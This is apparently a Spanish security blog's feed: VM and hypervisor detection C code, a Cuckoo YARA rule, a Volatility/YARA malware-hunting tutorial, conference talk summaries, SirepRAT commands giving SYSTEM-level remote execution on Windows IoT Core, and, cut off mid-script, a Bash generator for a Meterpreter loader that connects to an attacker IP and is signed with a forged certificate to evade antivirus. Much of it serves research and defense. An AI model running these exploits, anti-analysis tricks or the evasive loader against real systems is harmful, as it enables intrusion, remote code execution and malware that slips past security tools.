\xF\x3F\x7\xFC
\xF\x3F\xD\xFC
\xF\x3F\x10\xFC
\xF\x3F\x1\xFD
\xF\x3F\x5\xFD
\xF\x3F\x7\xFD
\xF\x3F\xD\xFD
\xF\x3F\x10\xFD
\xF\x3F\x1\xFE
\xF\x3F\x5\xFE
\xF\x3F\x7\xFE
\xF\x3F\xD\xFE
\xF\x3F\x10\xFE
\xF\x3F\x1\xFF
\xF\x3F\x5\xFF
\xF\x3F\x7\xFF
\xF\x3F\xD\xFF
\xF\x3F\x10\xFF

http://pastebin.com/exAK5XQx (truco Reset)
//http://waleedassar.blogspot.com (@waleedassar)
//Executing "\x0F\xC7\xC8\x05\x00" in VirtualPC 2007 triggers a reset error.
#include "stdafx.h"
#include "windows.h"
#include "stdio.h"

bool flag=false;

int __cdecl Handler(EXCEPTION_RECORD* pRec,void* est,unsigned char* pContext,void* disp)
{
if(pRec->ExceptionCode==0xC000001D || pRec->ExceptionCode==0xC000001E || pRec->ExceptionCode==0xC0000005)
{
flag=true;
(*(unsigned long*)(pContext+0xB8))+=5;
return ExceptionContinueExecution;
}
return ExceptionContinueSearch;
}



int main(int argc, char* argv[])
{
__asm
{
push offset Handler
push dword ptr fs:[0x0]
mov dword ptr fs:[0x0],esp
}
flag=false;
__asm
{
__emit 0x0F
__emit 0xC7
__emit 0xC8
__emit 0x05
__emit 0x00
}
if(flag==false)
{
MessageBox(0,"VirtualPC detected","waliedassar",0);
}
__asm
{
pop dword ptr fs:[0x0]
pop eax
}
return 0;
}

http://pastebin.com/HVActZMC (truco CPUID)
//http://waleedassar.blogspot.com (@waleedassar)
//A method to detect VirtualPC
#include "stdafx.h"
#include "windows.h"
#include "stdio.h"

int __cdecl Handler(EXCEPTION_RECORD* pRec,void* est,unsigned char* pContext,void* disp)
{
if(pRec->ExceptionCode==EXCEPTION_SINGLE_STEP)
{
return ExceptionContinueExecution;
}
return ExceptionContinueSearch;
}


int main(int argc, char* argv[])
{
unsigned long x=0;
__asm
{
push offset Handler
push dword ptr fs:[0x0]
mov dword ptr fs:[0x0],esp

pushad
xor eax,eax
xor ecx,ecx
xor edx,edx
xor ebx,ebx
pushfd
pop esi
or esi,0x100 ;Trap flag
push esi
popfd
CPUID
pushfd
pop eax
mov x,eax
popad
pop dword ptr fs:[0x0]
pop eax
}
if(x&0x100)
{
MessageBox(0,"Virtual Machine detected","waliedassar",0);
ExitProcess(3);
}
return 0;
}

Detección Hypervisor

//http://waleedassar.blogspot.com (@waleedassar)
//Detect Hypervisors
#include "stdafx.h"
#include "windows.h"
#include "stdio.h"

int main(int argc, char* argv[])
{
bool x=0;
__asm
{
pushad
pushfd
pop eax
or eax,0x00200000
push eax
popfd
pushfd
pop eax
and eax,0x00200000
jz CPUID_NOT_SUPPORTED ;Are you still alive?
xor eax,eax
xor edx,edx
xor ecx,ecx
xor ebx,ebx
inc eax ;processor info and feature bits
cpuid
test ecx,0x80000000 ;Hypervisor present
jnz Hypervisor
mov x,0
jmp bye
Hypervisor:
mov x,1
jmp bye
CPUID_NOT_SUPPORTED:
mov x,2
bye:
popad
}
if(x==1)
{
MessageBox(0,"Hypervisor detected","waliedassar",0);
ExitProcess(3);
}
return 0;
}

Reglas Yara que implementa Cuckoo para detección de VM

https://github.com/cuckoobox/cuckoo/blob/1884b5579ff8e053b3d4a8523a5da576eee43552/data/yara/binaries/vmdetect.yar
// Copyright (C) 2010-2014 Cuckoo Foundation.
// This file is part of Cuckoo Sandbox - http://www.cuckoosandbox.org
// See the file 'docs/LICENSE' for copying permission.

rule vmdetect
{
meta:
author = "nex"
description = "Possibly employs anti-virtualization techniques"

strings:
// Binary tricks
$vmware = {56 4D 58 68}
$virtualpc = {0F 3F 07 0B}
$ssexy = {66 0F 70 ?? ?? 66 0F DB ?? ?? ?? ?? ?? 66 0F DB ?? ?? ?? ?? ?? 66 0F EF}
$vmcheckdll = {45 C7 00 01}
$redpill = {0F 01 0D 00 00 00 00 C3}

// Random strings
$vmware1 = "VMXh"
$vmware2 = "Ven_VMware_" nocase
$vmware3 = "Prod_VMware_Virtual_" nocase
$vmware4 = "hgfs.sys" nocase
$vmware5 = "mhgfs.sys" nocase
$vmware6 = "prleth.sys" nocase
$vmware7 = "prlfs.sys" nocase
$vmware8 = "prlmouse.sys" nocase
$vmware9 = "prlvideo.sys" nocase
$vmware10 = "prl_pv32.sys" nocase
$vmware11 = "vpc-s3.sys" nocase
$vmware12 = "vmsrvc.sys" nocase
$vmware13 = "vmx86.sys" nocase
$vmware14 = "vmnet.sys" nocase
$vmware15 = "vmicheartbeat" nocase
$vmware16 = "vmicvss" nocase
$vmware17 = "vmicshutdown" nocase
$vmware18 = "vmicexchange" nocase
$vmware19 = "vmdebug" nocase
$vmware20 = "vmmouse" nocase
$vmware21 = "vmtools" nocase
$vmware22 = "VMMEMCTL" nocase
$vmware23 = "vmx86" nocase
$vmware24 = "vmware" nocase
$virtualpc1 = "vpcbus" nocase
$virtualpc2 = "vpc-s3" nocase
$virtualpc3 = "vpcuhub" nocase
$virtualpc4 = "msvmmouf" nocase
$xen1 = "xenevtchn" nocase
$xen2 = "xennet" nocase
$xen3 = "xennet6" nocase
$xen4 = "xensvc" nocase
$xen5 = "xenvdb" nocase
$xen6 = "XenVMM" nocase
$virtualbox1 = "VBoxHook.dll" nocase
$virtualbox2 = "VBoxService" nocase
$virtualbox3 = "VBoxTray" nocase
$virtualbox4 = "VBoxMouse" nocase
$virtualbox5 = "VBoxGuest" nocase
$virtualbox6 = "VBoxSF" nocase
$virtualbox7 = "VBoxGuestAdditions" nocase
$virtualbox8 = "VBOX HARDDISK" nocase

// MAC addresses
$vmware_mac_1a = "00-05-69"
$vmware_mac_1b = "00:05:69"
$vmware_mac_1c = "000569"
$vmware_mac_2a = "00-50-56"
$vmware_mac_2b = "00:50:56"
$vmware_mac_2c = "005056"
$vmware_mac_3a = "00-0C-29" nocase
$vmware_mac_3b = "00:0C:29" nocase
$vmware_mac_3c = "000C29" nocase
$vmware_mac_4a = "00-1C-14" nocase
$vmware_mac_4b = "00:1C:14" nocase
$vmware_mac_4c = "001C14" nocase
$virtualbox_mac_1a = "08-00-27"
$virtualbox_mac_1b = "08:00:27"
$virtualbox_mac_1c = "080027"

condition:
any of them
}

Fuentes:

Manipulación de WhatsApp en Android (by @peritotec #hc0n2019)

$
0
0
El siguiente material de la h-c0n 2019 que publicamos es el de la charla de Pablo Espada Bueno, perito judicial e ingeniero informático, que también se acercó desde Cáceres a Madrid para presentarnos "Manipulación de WhatsApp en Android".

En esa charla, además de repasar los conceptos básicos de Whatsapp desde un punto de vista forense (algo que ya se ha hecho en charlas como la de Manu Guerra en Cybercamp 2017), explicó cómo utilizando un segundo teléfono (este sí que estará "rooteado") se pueden manipular los mensajes de Whatsapp sin necesidad de manipular el teléfono original, lo que hace que dicha manipulación resulte indetectable para cualquier perito.

La técnica se basa en el uso de copias de seguridad locales cifradas, que pueden ser descifradas en otro teléfono siempre que se pueda acceder a las llamadas o a los SMS utilizados como 2FA. Aprovechando esto, se extrajo la BBDD de Whatsapp en abierto en el teléfono auxiliar, pudiendo manipular los mensajes y devolviéndolos luego al teléfono original, de nuevo a través de una copia de seguridad.

Como dice Pablo esta técnica no es nada especial, ni requiere unos conocimientos exahustivos para realizarla, pero no hemos encontrado que haya sido mostrada en ningún artículo técnico, por lo que elevó aún más el interés de la charla.

Presentación:



Demo:

Paso 1


Paso 2



Paso 3



Paso 4



Paso 5


Paso 6

Url del video: https://youtu.be/SB-JK9QSQM0

Fotos: 





Referencias

FakesApp

Fundamentos de Análisis Forense de WhatsApp en Android
Autopsia a Whatsapp (Manu Guerra – Cybercamp 2017): https://www.youtube.com/watch?v=dsBgSnfGWIU

Manipulación de Whatsapp Android

Buscando malware en volcados de memoria mediante Volatility y Yara

$
0
0
Aunque prácticamente todos los parámetros de Volatility pueden ayudarnos a encontrar e identificar malware en volcados de memoria, hay algunos que fueron diseñados específicamente para cazar rootkits y código malicioso. Uno de ellos es el plugin "yarascan", que nos puede ayudar a encontrar mediante reglas Yara cualquier secuencia de bytes (como instrucciones de ensamblador con wild cards), expresiones regulares, cadenas ANSI o cadenas Unicode en el modo de usuario o en la memoria del kernel.

Al usar las reglas específicas de Yara, una de las "navajas suizas" de los analistas, se puede detectar la presencia de artefactos relacionados con las familias de malware más comunes en la imagen de memoria analizada.

Para el ejemplo de este post usaremos una muestra de memoria disponible online, como el archivo stuxnet.vmem, que los autores del libro The Malware Analyst Cookbook's hicieron para practicar y que proviene de una máquina virtual infectada con Stuxnet.

Una vez descargada la imagen, lo primero que haremos como siempre será ejecutar una pequeña identificación:
$ volatility -f stuxnet.vmem imageinfo

Volatility Foundation Volatility Framework 2.6
INFO    : volatility.debug    : Determining profile based on KDBG search...
          Suggested Profile(s) : WinXPSP2x86, WinXPSP3x86 (Instantiated with WinXPSP2x86)
                     AS Layer1 : IA32PagedMemoryPae (Kernel AS)
                     AS Layer2 : FileAddressSpace (/tools/hunting/stuxnet.vmem)
                      PAE type : PAE
                           DTB : 0x319000L
                          KDBG : 0x80545ae0L
          Number of Processors : 1
     Image Type (Service Pack) : 3
                KPCR for CPU 0 : 0xffdff000L
             KUSER_SHARED_DATA : 0xffdf0000L
           Image date and time : 2011-06-03 04:31:36 UTC+0000
     Image local date and time : 2011-06-03 00:31:36 -0400

Ahora que tenemos el profile tendremos que especificarlo junto con la imagen y la yara o yaras a analizar. Para esto último tendremos varias opciones. La primera de ellas podría ser hacer un "merge" del conjunto de yaras disponible.
Esto lo podemos hacer rápidamente mediante este script en Python de Andrea Fortuna que a su vez se basa en el proyecto de Lucas Soumille:
#!/usr/bin/env python
# encoding: utf-8

import os
import shutil

def get_rules_from_git():
shutil.rmtree("./rules")
os.system("git clone https://github.com/Yara-Rules/rules.git")

def list_yara_files():
all_yara_files = []
for root, directories, filenames in os.walk("./rules/malware"):
print ("Processing " + root)
filenames.sort()
for file_name in filenames:
rule_filename, rule_file_extension = os.path.splitext(file_name)
if rule_file_extension == ".yar" or rule_file_extension == ".yara":
all_yara_files.append(os.path.join(root, file_name))
return all_yara_files

def remove_incompatible_imports(files):
filtered_files = []
for yara_file in files:
with open(yara_file, 'r') as fd:
yara_in_file = fd.read()
if not (("import \"math\"" in yara_in_file) or ("import \"cuckoo\"" in yara_in_file) or ("import \"hash\"" in yara_in_file) or ("imphash" in yara_in_file)):
filtered_files.append(yara_file)
return filtered_files

def fix_duplicated_rules(files):
filtered_files = []
first_elf = True
to_delete = False
for yara_file in files:
print ("Processing " + yara_file)
with open(yara_file, 'r') as fd:
yara_in_file = fd.readlines()
for line in yara_in_file:
if line.strip() == "private rule is__elf {":
if first_elf:
first_elf = False
else:
to_delete = True
if not to_delete:
filtered_files.append(line)
if (not first_elf) and line.strip() == "}":
to_delete = False
filtered_files.append("\n")
return filtered_files

def merge_rules(all_rules):
with open("malware_rules.yar", 'w') as fd:
fd.write(''.join(all_rules))

def main():
get_rules_from_git()
all_yara_files = list_yara_files()
all_yara_filtered_1 = remove_incompatible_imports(all_yara_files)
all_yara_filtered_2 = fix_duplicated_rules(all_yara_filtered_1)
merge_rules(all_yara_filtered_2)

# Main body
if __name__ == '__main__':
main()

Como veis clonaremos el repo de Yara Rules Project y combinaremos todas las reglas de malware en un único fichero yara:

$ ./malware_yara_rules.py
Cloning into 'rules'...
remote: Counting objects: 6166, done.
remote: Total 6166 (delta 0), reused 0 (delta 0), pack-reused 6166
Ricezione degli oggetti: 100% (6166/6166), 3.77 MiB | 2.15 MiB/s, done.
Risoluzione dei delta: 100% (3806/3806), done.
Processing ./rules/malware
Processing ./rules/malware/Operation_Blockbuster
Processing ./rules/malware/000_common_rules.yar
Processing ./rules/malware/APT_APT1.yar
Processing ./rules/malware/APT_APT10.yar
Processing ./rules/malware/APT_APT15.yar
....
....

Solo falta especificarlo en el comando de Volatility y ya lo tenemos:
$ volatility -f stuxnet.vmem --profile=WinXPSP2x86 yarascan -y malware_rules.yar

Volatility Foundation Volatility Framework 2.6

Rule: StuxNet_Malware_1
Owner: Process lsass.exe Pid 868
0x01002723 8b 45 08 35 dd 79 19 ae 33 c9 8b 55 08 89 02 89 .E.5.y..3..U....
0x01002733 4a 04 8b 45 08 c7 40 0c 77 35 00 01 33 c0 5e c9 J..E..@.w5..3.^.
0x01002743 c3 55 8b ec 83 ec 2c 83 65 e8 00 83 65 f4 00 83 .U....,.e...e...
0x01002753 65 e4 00 8b 45 20 8b 4d 14 8d 84 01 98 00 00 00 e...E..M........
0x01002763 89 45 f0 8d 45 f4 50 8d 45 e8 50 8d 45 d8 50 ff .E..E.P.E.P.E.P.
0x01002773 75 f0 ff 75 08 e8 14 fe ff ff 83 c4 14 89 45 fc u..u..........E.
0x01002783 83 7d fc 00 74 08 8b 45 fc e9 fd 00 00 00 8b 45 .}..t..E.......E
0x01002793 e8 89 45 f8 8b 45 e8 05 98 00 00 00 89 45 e8 c7 ..E..E.......E..
0x010027a3 45 e4 98 00 00 00 ff 75 20 ff 75 1c 8b 45 f8 05 E......u..u..E..
0x010027b3 84 00 00 00 50 8d 45 e4 50 ff 75 f4 8d 45 e8 50 ....P.E.P.u..E.P
0x010027c3 e8 79 fe ff ff 83 c4 18 8b 45 e8 89 45 dc ff 75 .y.......E..E..u
0x010027d3 14 ff 75 10 8b 45 f8 05 8c 00 00 00 50 8d 45 e4 ..u..E......P.E.
0x010027e3 50 ff 75 f4 8d 45 e8 50 e8 51 fe ff ff 83 c4 18 P.u..E.P.Q......
0x010027f3 8b 45 dc 89 45 ec 81 7d 14 00 10 00 00 72 47 8b .E..E..}.....rG.
0x01002803 45 ec 0f b7 00 3d 4d 5a 00 00 75 3a 8b 45 ec 8b E....=MZ..u:.E..
0x01002813 40 3c 05 f8 00 00 00 3b 45 14 73 2a 8b 45 ec 8b @<.....;E.s*.E..

Rule: StuxNet_Malware_1
Owner: Process lsass.exe Pid 868
0x01002eb5 74 36 8b 7f 08 83 ff 00 74 2e 0f b7 1f 8b 7f 04 t6......t.......
0x01002ec5 8d 5c 1f 02 8d 5b fe 3b df 7e 1d 66 83 7b fe 5c .\...[.;.~.f.{.\
0x01002ed5 75 f2 52 53 8d 5a 10 53 e8 bf ff ff ff ff 52 08 u.RS.Z.S......R.
0x01002ee5 5a 85 c0 75 03 40 eb 02 33 c0 5f 5a 59 5b c3 50 Z..u.@..3._ZY[.P
0x01002ef5 51 52 e8 a5 ff ff ff c7 42 04 00 00 00 00 ff 32 QR......B......2
0x01002f05 ff 52 14 59 85 c0 0f 84 b7 00 00 00 50 51 50 54 .R.Y........PQPT
0x01002f15 68 80 00 00 00 6a 18 50 e8 7f ff ff ff ff 52 10 h....j.P......R.
0x01002f25 5a 8b d0 59 58 85 d2 0f 84 96 00 00 00 80 38 b8 Z..YX.........8.
0x01002f35 0f 85 8d 00 00 00 80 78 05 ba 74 70 81 78 05 8d .......x..tp.x..
0x01002f45 54 24 04 75 1b 81 78 08 04 cd 2e c2 75 75 2b c8 T$.u..x.....uu+.
0x01002f55 83 e9 0a 89 48 06 c6 40 05 e8 c6 40 0a 90 eb 63 ....H..@...@...c
0x01002f65 81 78 07 8d 54 24 04 75 5a 81 78 0b 64 ff 15 c0 .x..T$.uZ.x.d...
0x01002f75 75 51 81 78 0f 00 00 00 c2 75 48 52 e8 1b ff ff uQ.x.....uHR....
0x01002f85 ff c7 42 04 01 00 00 00 5a 56 50 53 51 52 8b f0 ..B.....ZVPSQR..
0x01002f95 8b 46 0a 8b 56 0e 2b ce 83 e9 12 bb 04 90 90 e8 .F..V.+.........
0x01002fa5 f0 0f c7 4e 0a 5a 59 5b 58 5e eb 17 66 81 78 0a ...N.ZY[X^..f.x.

Rule: StuxNet_Malware_1
Owner: Process lsass.exe Pid 868
0x01002f3f 74 70 81 78 05 8d 54 24 04 75 1b 81 78 08 04 cd tp.x..T$.u..x...
0x01002f4f 2e c2 75 75 2b c8 83 e9 0a 89 48 06 c6 40 05 e8 ..uu+.....H..@..
0x01002f5f c6 40 0a 90 eb 63 81 78 07 8d 54 24 04 75 5a 81 .@...c.x..T$.uZ.
0x01002f6f 78 0b 64 ff 15 c0 75 51 81 78 0f 00 00 00 c2 75 x.d...uQ.x.....u
0x01002f7f 48 52 e8 1b ff ff ff c7 42 04 01 00 00 00 5a 56 HR......B.....ZV
0x01002f8f 50 53 51 52 8b f0 8b 46 0a 8b 56 0e 2b ce 83 e9 PSQR...F..V.+...
0x01002f9f 12 bb 04 90 90 e8 f0 0f c7 4e 0a 5a 59 5b 58 5e .........N.ZY[X^
0x01002faf eb 17 66 81 78 0a ff d2 74 0c 66 81 78 0a ff 12 ..f.x...t.f.x...
0x01002fbf 75 07 c6 40 0b d2 89 48 06 58 c3 00 00 90 7c 00 u..@...H.X....|.
0x01002fcf 00 00 00 26 aa 80 7c 61 ba 80 7c d4 1a 80 7c 30 ...&..|a..|...|0
0x01002fdf ae 80 7c 95 b9 80 7c 04 ba 80 7c d4 55 83 7c db ..|...|...|.U.|.
0x01002fef ae 80 7c 6e ac 80 7c 60 d1 90 7c 00 d5 90 7c c7 ..|n..|`..|...|.
0x01002fff 06 81 7c 30 25 80 7c 1d 14 82 7c d0 cf 90 7c 8b ..|0%.|...|...|.
0x0100300f 44 24 04 85 c0 75 08 8b 44 24 08 c6 00 00 c3 8b D$...u..D$......
0x0100301f 4c 24 08 eb 03 40 40 41 8a 10 80 f2 12 88 11 75 L$...@@A.......u
0x0100302f f4 c3 8b 4c 24 04 85 c9 75 0a 8b 4c 24 08 33 c0 ...L$...u..L$.3.
....
....

Si queremos usar varias yaras podemos hacerlo también simplemente especificando los nombres de archivo separados por comas:

volatility -f stuxnet.vmem --profile=WinXPSP2x86 yarascan --yara-file=stuxnet.yar,edd.yar,worm.yar

O si queremos usar todas las yaras de un directorio/subdirectorios podemos tirar de un one-liner en bash:

for f in *.yara ; do volatility -f stuxnet.vmem --profile=WinXPSP2x86 yarascan --yara-file="$f" ; done

Otra opción podría ser usar un 'index_rules.yar' del tipo:

/*
Generated by Yara-Rules
On 23-10-2017
*/
include "./malware/APT_APT1.yar"
include "./malware/APT_APT10.yar"
include "./malware/APT_APT17.yar"
include "./malware/APT_APT29_Grizzly_Steppe.yar"
include "./malware/APT_APT3102.yar"
include "./malware/APT_APT9002.yar"
include "./malware/APT_Backspace.yar"
include "./malware/APT_Bestia.yar"
...

O también compilar las reglas con yarac para ganar rendimiento:

yarac rule1.yar rule2.yar rule3.yar compiled_output.yar

Fuentes:
- Finding malware on memory dumps using Volatility and Yara rules
- Using Yara rules with Volatility
- Detección de código malicioso con YARA (II)
- Update Yarascan to Support Compiled Yara Rules 

Hacking Wireless con Airgeddon (by @OscarAkaElvis #hc0n2019)

$
0
0
El siguiente material de h-c0n 2019 que vamos a liberar es el de Oscar Alfonso aka OscarAkaElvis o v1s1t0r, amigo y compi también de l1k0rd3b3ll0t4, creador de máquinas y retos en Vulnhub y HacktheBox, programador, researcher,... y entre tanto de lo que hace (y lo hace muy bien, os lo aseguro), fundador del proyecto Airgeddon. Precisamente su charla fue enseñarnos a hackear Wireless con su suite Airgeddon.

Si veis la presentación que os pongo a continuación comprobaréis que no tiene mucho contenido porque la charla fue básicamente varias demos en vivo y en directo que pudieron disfrutar los asistentes al Congreso. Pero, tanto como si pudisteis asistir como si no, os recomiendo echar un vistazo a su Github y seguro que (si no lo habíais hecho antes) os preguntaréis cómo habéis podido vivir sin esta herramienta hasta ahora... y rápida e irremediablemente lo incorporáis a vuestro arsenal para pwnear wi-fi. Enjoy it!

URL: https://github.com/v1s1t0r1sh3r3/airgeddon
Wiki: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki
Docker: https://hub.docker.com/r/v1s1t0r1sh3r3/airgeddon

Presentación:



Fotos:





Referencias:

Como Hackear Redes Wifi - Método Airgeddon: Explicación Del Ataque con Diccionario Externo e Interno (video)
Como hackear una red wifi con airgeddon + diccionario (video)
Como Instalar Airgeddon en el Wifislax (video)
Hack WiFi WPA/WPA2 Evil Twin Attacks (Airgeddon) Kail Linux 2018! (video)
Conoce Airgeddon, un programa para realizar auditorías Wi-Fi en Linux
Probando el ataque Rogue AP con portal cautivo del nuevo menú "Evil Twin" de Airgeddon.sh 

Red Teaming with Security Descriptors (by @attl4s & @leurian #hc0n2019)

$
0
0
Hoy os traemos otra charla de la h-c0n, concretamente la de Daniel López aka @attl4s autor también de varios artículos en este blog y de Roberto López aka @leurian con el que tuve la suerte de coincidir profesionalmente en el pasado. Se trata de'Red teaming with security descriptors' en la que se explicaba cómo elevar privilegios en dominios Windows a través de técnicas basadas en descriptores de seguridad o security descriptors.

Active Directory está formado de objetos, muchos objetos: objetos de tipo usuario, de tipo ordenador, de tipo dominio…, etcétera. Cada uno de estos objetos tiene ciertas características y, entre ellas, existen los descriptores de seguridad. El objetivo de los descriptores de seguridad es llevar un control sobre cada objeto del AD y su relación con el resto objetos, por este motivo son una parte fundamental de la seguridad en entornos Windows.

En dominios de empresas grandes es prácticamente imposible llevar un control total de estas relaciones entre objetos, lo que puede llevar a malas configuraciones que podrán ser aprovechadas. Es más, en ocasiones una configuración perfectamente establecida puede desembocar también en escenarios útiles para un atacante.

El uso de técnicas que se aprovechan de debilidades en descriptores de seguridad son poco conocidas y utilizadas actualmente pero son tremendamente útiles en grandes compañías con inmensos Directorios Activos. De hecho, su uso es un tema que ha estado tratando estos últimos años Will ‘harmj0y’ Schroeder y es precisamente en su trabajo en el que se basaron junto con otras fuentes.

Este tipo de técnicas pueden servir como una alternativa más al arsenal de un red teamer para realizar tanto elevación de privilegios y como creación de persistencia en ejercicios Red Team. Destacan por una serie de puntos:

- No se aprovechan de exploits ni CVEs, se hace un uso exclusivo de herramientas propias de Active Directory.
- Técnicas silenciosas que modifican ligeramente el entorno y dejan un mínimo de rastro.
- Su causa no tiene por qué ser debida a malas configuraciones, en ocasiones podemos aprovechar relaciones entre objetos totalmente legítimas.

Presentación:

La presentación se enfocó de la siguiente manera:

- Teoría básica de descriptores de seguridad.
- Teoría explicada a través de ejemplos reales en un entorno real de dominio (con DC, equipos, dominio…, etc.)
- Explicación de herramientas modernas utilizadas en ejercicios Red Team.
- Resumen breve de ataques comunes y modernos.


Demo:

Como sabéis las charlas de la h-con 2019 no fueron grabadas en vídeo, pero justo hoy a las 17:00 Dani ha hecho una revisión en directo de la suya junto con varios amigos del canal de HTB y l1k0rd3b3ll0t4. Se trata de algo improvisado pero una oportunidad única para ver su detalle y funcionamiento , así que aquí os pego también el video:



Fotos:





Fuentes y agradecimientos:

Nuevo exploit para ownear dispositivos con Windows IoT Core

$
0
0
Windows 10 IoT Core es el sucesor de Windows Embedded y actualmente 2 de cada 10 dispositivos IoT utilizan el sistema operativo de M$ (Linux prácticamente copa el mercado).

Recientemente, en la conferencia de seguridad WOPR Summit de Nueva Jersey, la investigadora Dor Azouri de SafeBreach ha publicado un exploit que aprovecha una vulnerabilidad del protocolo de comunicaciones Sirep/WPCon/TShell y que puede permitir a un atacante ejecutar comandos con privilegios de SYSTEM.

Básicamente, lo que hicieron fue romper el protocolo y demostrar cómo expone una interfaz de comando remoto para los atacantes, que incluye capacidades RAT como descargar o subir archivos arbitrarios y obtener información del sistema.

Eso sí, para comprometer al dispositivo IoT es necesario estar en la misma LAN que el dispositivo y la vulnerabilidad sólo afecta a la versión Core asÌ que Windows IoT Enterprise parece estar a salvo (de momento).

Sobre la base de la investigación sobre el servicio y el protocolo, crearon además una herramienta escrita en Python llamada SirepRAT que ya podemos encontrar en Github:

https://github.com/SafeBreach-Labs/SirepRAT

Descargar archivo

python SirepRAT.py 192.168.3.17 GetFileFromDevice --remote_path "C:\Windows\System32\drivers\etc\hosts" -v

Subir archivo

python SirepRAT.py 192.168.3.17 PutFileOnDevice --remote_path "C:\Windows\System32\uploaded.txt" --data "Hello IoT world!"

Ejecutar cualquier programa

python SirepRAT.py 192.168.3.17 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\hostname.exe"

Con argumentos, impersonando al usuario actualmente conectado:

python SirepRAT.py 192.168.3.17 LaunchCommandWithOutput --return_output --as_logged_on_user --cmd "C:\Windows\System32\cmd.exe" --args " /c echo {{userprofile}}"

(Intenta ejecutarlo sin el flag as_logged_on_user para demostrar la capacidad de ejecución con SYSTEM)

Conseguir información del sistema

python SirepRAT.py 192.168.3.17 GetSystemInformationFromDevice

Obtener información de un fichero

python SirepRAT.py 192.168.3.17 GetFileInformationFromDevice --remote_path "C:\Windows\System32\ntoskrnl.exe"

Ver ayuda:

python SirepRAT.py --help

Fuentes:

https://www.woprsummit.org/talks
https://www.muyseguridad.net/2019/03/04/vulnerabilidad-en-windows-iot-core/
https://www.zdnet.com/article/new-exploit-lets-attackers-take-control-of-windows-iot-core-devices/

Tor DIY (by @dsecuma #hc0n2019)

$
0
0
La siguiente presentación que vamos a liberar es a petición de un colega que hoy nos la ha solicitado... Se trata de 'Tor DIY' de David Santos aka @dsecuma una interesantísima (y práctica) charla en la que se empezaba con una introducción al funcionamiento interno de TOR para posteriormente mostrar como montar una red Tor aislada de la red Tor pública y las vicisitudes con los ISPs.

Además, David nos mostró finalmente como emplearla como entorno de laboratorio para realizar ataques/pruebas en nodos de salida.

Presentación:



Fotos:



Loader de Meterpreter firmado con un certificado falso

$
0
0
Astr0baby ha actualizado su generador/loader de meterpreter con una función para falsificar cualquier certificado de una web y firmar un ejecutable con el objetivo de evadir algunos antivirus. El concepto original es de paranoidninja que hace unos meses publicó CarbonCopy, una pequeña herramienta que lo implementaba: https://github.com/paranoidninja/CarbonCopy.

El resultado de incorporar ésto es un script que produce un archivo binario de Windows PE32 de 64 bits con la dirección del servidor del loader de meterpreter y el puerto hardcodeado dentro y, por supuesto, firmado con un certificado falsificado por un sitio web a nuestra elección (google.com por ejemplo). El binario firmado resultante no es verificado por Windows pero agrega una capa adicional de complejidad a los motores AV.

#!/bin/bash
clear
echo "****************************************************************"
echo " Automatic C source code generator - FOR METASPLOIT "
echo " Based on rsmudge metasploit-loader "
echo " Based on NinjaParanoid's CarbonCopy "
echo ""
echo " For Debian based system Ubuntu/Mint "
echo " PE32+ executable (GUI) x86-64 "
echo "****************************************************************"

# Check if we are on Debian/Ubuntu
if [ $(which dpkg-query | grep -c "dpkg-query") -eq 0 ];
then echo "[-] no dpkg-query found in path, not Debian/Ubuntu based system, manually change the scipt"
echo " This script relies on dpkg-query to check for required packages, if running on other platform"
echo " Simply remove the section starting from #Debian-start and finishing at #Debian-end"
echo " Make sure you manually install the dependant packages"
echo ""
echo "- mingw-w64 "
echo "- python-openssl"
echo "- osslsigncode"
exit
fi

echo "[*] Checking if required software is installed "
dpkg --get-selections mingw-w64 python-openssl osslsigncode
if [ $(dpkg-query -W -f='${Status}' mingw-w64 2>/dev/null | grep -c "ok installed") -eq 0 ];
then echo "[-] Missing mingw-w64 run apt-get install mingw-w64"
exit
fi
if [ $(dpkg-query -W -f='${Status}' python-openssl 2>/dev/null | grep -c "ok installed") -eq 0 ];
then echo "[-] Missing python-openssl run apt-get install python3-openssl"
exit
fi
if [ $(dpkg-query -W -f='${Status}' osslsigncode 2>/dev/null | grep -c "ok installed") -eq 0 ];
then echo "[-] Missing osslsigncode apt-get install osslsigncode"
exit
fi

echo -en 'Metasploit server IP : '
read ip
echo -en 'Metasploit port number : '
read port
echo -en 'Impersonate Certificate https site (www.google.com): '
read hostname
echo '#include '> temp.c
echo '#include '>> temp.c
echo '#include '>> temp.c
echo '#include '>> temp.c
echo -n 'unsigned char lambert[]="'>> temp.c
echo -n $ip >> temp.c
echo -n '";'>> temp.c
echo ''>> temp.c
echo -n 'unsigned char omega[]="'>> temp.c
echo -n $port >> temp.c
echo -n '";'>> temp.c
echo ''>> temp.c
echo 'void winsock_init() {'>> temp.c
echo ' WSADATA wsaData;'>> temp.c
echo ' WORD wVersionRequested;'>> temp.c
echo ' wVersionRequested = MAKEWORD(2, 2);'>> temp.c
echo ' if (WSAStartup(wVersionRequested, &wsaData) < 0) {'>> temp.c
echo ' printf("bad\n"); '>> temp.c
echo ' WSACleanup(); '>> temp.c
echo ' exit(1);'>> temp.c
echo ' }'>> temp.c
echo ' }'>> temp.c
echo ' void punt(SOCKET my_socket, char * error) {'>> temp.c
echo ' printf("r %s\n", error);'>> temp.c
echo ' closesocket(my_socket);'>> temp.c
echo ' WSACleanup();'>> temp.c
echo ' exit(1);'>> temp.c
echo ' }'>> temp.c
echo ' int recv_all(SOCKET my_socket, void * buffer, int len) {'>> temp.c
echo ' int tret = 0;'>> temp.c
echo ' int nret = 0;'>>temp.c
echo ' void * startb = buffer;'>> temp.c
echo ' while (tret < len) {'>>temp.c
echo ' nret = recv(my_socket, (char *)startb, len - tret, 0);'>> temp.c
echo ' startb += nret;'>> temp.c
echo ' tret += nret;'>>temp.c
echo ' if (nret == SOCKET_ERROR)'>> temp.c
echo ' punt(my_socket, "no data");'>> temp.c
echo ' }'>>temp.c
echo ' return tret;'>> temp.c
echo '}'>> temp.c
echo 'SOCKET wsconnect(char * targetip, int port) {'>> temp.c
echo ' struct hostent * target;'>> temp.c
echo ' struct sockaddr_in sock;'>> temp.c
echo ' SOCKET my_socket;'>>temp.c
echo ' my_socket = socket(AF_INET, SOCK_STREAM, 0);'>> temp.c
echo ' if (my_socket == INVALID_SOCKET)'>> temp.c
echo ' punt(my_socket, ".");'>>temp.c
echo ' target = gethostbyname(targetip);'>>temp.c
echo ' if (target == NULL)'>>temp.c
echo ' punt(my_socket, "..");'>>temp.c
echo ' memcpy(&sock.sin_addr.s_addr, target->h_addr, target->h_length);'>>temp.c
echo ' sock.sin_family = AF_INET;'>> temp.c
echo ' sock.sin_port = htons(port);'>>temp.c
